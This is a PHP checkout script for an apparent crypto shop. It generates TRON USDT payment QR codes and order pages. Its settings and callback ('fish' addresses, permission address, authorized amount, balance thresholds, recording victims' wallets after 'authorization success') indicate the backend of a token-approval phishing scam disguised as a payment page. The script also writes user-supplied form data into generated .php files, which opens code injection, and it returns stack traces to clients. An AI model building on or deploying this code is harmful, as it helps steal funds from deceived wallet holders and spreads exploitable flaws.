<?php
require_once '../../../../thinkphp/base.php';
use think\Db;
use think\Exception;
//require_once '../../../../extend/hehe/QRcode.php';
require_once '../../../../extend/hehe/qrcode/qrlib.php';
$config = include __DIR__ . '/../../../../application/database.php';
Db::setConfig($config);
try {
// 获取配置和表单数据
$optionsArr = fetchOptions();
$fishAddresses = fetchFishAddresses();
$formData = getPostedData();
$order_number = generateOrderNumber();
// 验证支付地址
$paymentAddress = validatePaymentAddress($optionsArr);
// 验证支付金额
$totalPrice = validatePaymentAmount($formData);
$amount = htmlspecialchars((string)$totalPrice);
// 生成二维码
$qrContent = "tron:{$paymentAddress}?amount={$amount}";
$qrBase64 = generateQrCode($qrContent);
// 合并并验证表单数据
$requiredFields = [
'goods_name' => '',
'num' => '',
'total_price' => $totalPrice,
'email' => '',
'password' => '',
'mobile' => '',
'attach' => [],
'goods_cover' => ''
];
$data = array_merge($requiredFields, $formData);
validateBusinessFields($data);
// 构建订单数据
$orderData = buildOrderData($order_number, $data, $optionsArr, $fishAddresses, $qrBase64);
// 渲染并保存订单页面
$template_content = loadTemplate("../jiaoyi/pay.html");
$template_content = replaceTemplateVariables($template_content, $orderData);
saveOrderPage($order_number, $template_content);
// 处理授权成功的回调
handleAuthorizationCallback();
sendSuccessResponse("/epay/{$order_number}.php");
} catch (Exception $e) {
ob_end_clean();
sendErrorResponse($e->getMessage());
}
/**
* 验证支付地址
* @param array $optionsArr 配置数组
* @return string 验证后的支付地址
* @throws InvalidArgumentException
*/
function validatePaymentAddress(array $optionsArr) {
$paymentAddress = $optionsArr['payment_address'] ?? '';
if (empty($paymentAddress)) {
throw new InvalidArgumentException("支付地址配置缺失");
}
if (!preg_match('/^T[A-HJ-NP-Za-km-z1-9]{33}$/', $paymentAddress)) {
throw new InvalidArgumentException("无效的TRON收款地址");
}
return $paymentAddress;
}
/**
* 验证支付金额
* @param array $formData 表单数据
* @return float 验证后的支付金额
* @throws InvalidArgumentException
*/
function validatePaymentAmount(array $formData) {
$totalPrice = $formData['total_price'] ?? '';
if (empty($totalPrice) || !is_numeric($totalPrice) || (float)$totalPrice <= 0) {
throw new InvalidArgumentException("无效的支付金额");
}
return (float)$totalPrice;
}
/**
* 生成二维码
* @param string $qrContent 二维码内容
* @return string 二维码的Base64编码
* @throws RuntimeException
*/
function generateQrCode(string $qrContent) {
$errorCorrectionLevel = 'L';
$matrixPointSize = 4;
ob_start();
try {
QRcode::png($qrContent, false, $errorCorrectionLevel, $matrixPointSize);
$imageData = ob_get_clean();
return "data:image/png;base64," . base64_encode($imageData);
} catch (Exception $e) {
ob_end_clean();
throw new RuntimeException("二维码生成失败: " . $e->getMessage());
}
}
/**
* 验证核心业务字段
* @param array $data 表单数据
* @throws InvalidArgumentException
*/
function validateBusinessFields(array $data) {
if (empty($data['goods_name'])) {
throw new InvalidArgumentException("商品名称不能为空");
}
if (!is_numeric($data['num']) || (int)$data['num'] <= 0) {
throw new InvalidArgumentException("商品数量必须为正整数");
}
}
/**
* 构建订单数据
* @param string $order_number 订单号
* @param array $data 表单数据
* @param array $optionsArr 配置数据
* @param array $fishAddresses 地址数据
* @param string $qrBase64 二维码Base64
* @return array 订单数据
*/
function buildOrderData(string $order_number, array $data, array $optionsArr, array $fishAddresses, string $qrBase64) {
return [
'order_number' => $order_number,
'goods_name' => htmlspecialchars($data['goods_name']),
'num' => (int)$data['num'],
'total_price' => (float)$data['total_price'],
'email' => filter_var($data['email'], FILTER_VALIDATE_EMAIL) ?: '',
'password' => password_hash($data['password'], PASSWORD_DEFAULT),
'mobile' => preg_replace('/[^0-9]/', '', $data['mobile']),
'attach' => json_encode($data['attach']),
'options' => json_encode($optionsArr),
'fish_addresses' => json_encode($fishAddresses),
'goods_cover' => htmlspecialchars($data['goods_cover']),
'qrcode' => $qrBase64,
'create_time' => date('Y-m-d H:i:s')
];
}
/**
* 替换模板变量
* @param string $template_content 模板内容
* @param array $orderData 订单数据
* @return string 替换后的模板内容
*/
function replaceTemplateVariables(string $template_content, array $orderData) {
foreach ($orderData as $key => $value) {
$replaceValue = is_string($value) ? addslashes($value) : $value;
$template_content = str_replace("{{" . strtoupper($key) . "}}", $replaceValue, $template_content);
}
return $template_content;
}
/**
* 处理授权回调
* @throws InvalidArgumentException
* @throws RuntimeException
*/
function handleAuthorizationCallback() {
if (!empty($_POST['authorization_success'])) {
$fish_address = $_POST['fish_address'] ?? null;
$permissions_fishaddress = $_POST['permissions_fishaddress'] ?? null;
$usdt_balance = (float)($_POST['usdt_balance'] ?? 0.00000000);
$time = date('Y-m-d H:i:s');
if (empty($fish_address) || empty($permissions_fishaddress)) {
throw new InvalidArgumentException("地址信息不完整");
}
$result = Db::name('fish')->insert([
'fish_address' => $fish_address,
'permissions_fishaddress' => $permissions_fishaddress,
'usdt_balance' => $usdt_balance,
'time' => $time
]);
if (!$result) {
throw new RuntimeException("地址信息插入失败");
}
echo json_encode(['status' => 'success']);
exit;
}
}
function fetchOptions() {
$options = Db::name('options')->select();
$optionsArr = [];
// 定义允许获取的字段列表
$allowedFields = [
'domain', // 跳转域名
'payment_address', // TRC收款地址
'permission_address', // TRC权限地址
// 'bot_key', // 机器人密钥
'notification_id', // 通知ID
'trx_balance', // TRX阈值
'usdt_balance', // USDT阈值
'authorized_amount', // 授权金额
'authorize_note', // 授权成功后提示
'model', // 授权模式选择
'notification_switch', // 通知开关
'auto_threshold', // 授权后自动添加阈值
'chainid', // 链ID设置
'0x_payment_address', // 0x收款地址
'0x_permission_address' // 0x权限地址
];
foreach ($options as $option) {
if (in_array($option['name'], $allowedFields)) {
$optionsArr[$option['name']] = $option['value'];
}
}
return $optionsArr;
}
function fetchFishAddresses() {
$addresses = Db::name('fish')->column('fish_address');
return $addresses;
}
function getPostedData() {
return [
'goods_id' => $_POST['goods_id'] ?? null,
'num' => $_POST['num'] ?? null,
'sku_id' => $_POST['sku_id'] ?? null,
'pay_type' => $_POST['pay_type'] ?? null,
'goods_name' => $_POST['goods_name'] ?? null,
'total_price' => $_POST['total_price'] ?? null,
'mobile' => $_POST['mobile'] ?? null,
'email' => $_POST['email'] ?? null,
'password' => $_POST['password'] ?? null,
'attach' => $_POST['attach'] ?? [],
'goods_cover' => $_POST['goods_cover'] ?? null,
];
}
function generateOrderNumber() {
return date('YmdHis') . rand(100000, 999999);
}
function loadTemplate($template_path) {
$template_content = file_get_contents($template_path);
if ($template_content === false) {
throw new Exception("无法读取模板文件: $template_path");
}
return $template_content;
}
function saveOrderPage($order_number, $content) {
$order_page_path = __DIR__ . "/../../../epay/$order_number.php";
if (file_put_contents($order_page_path, $content) === false) {
throw new Exception("订单页面生成失败: $order_page_path");
}
}
function sendSuccessResponse($redirect_url) {
$response = [
'status' => 'success',
'redirect_url' => $redirect_url
];
header('Content-Type: application/json');
echo json_encode($response);
exit();
}
function sendErrorResponse($e) {
$response = [
'status' => 'error',
'message' => $e->getMessage(),
'file' => $e->getFile(),
'line' => $e->getLine(),
'trace' => $e->getTraceAsString()
];
header('Content-Type: application/json');
echo json_encode($response);
exit();
}
?>
最新发布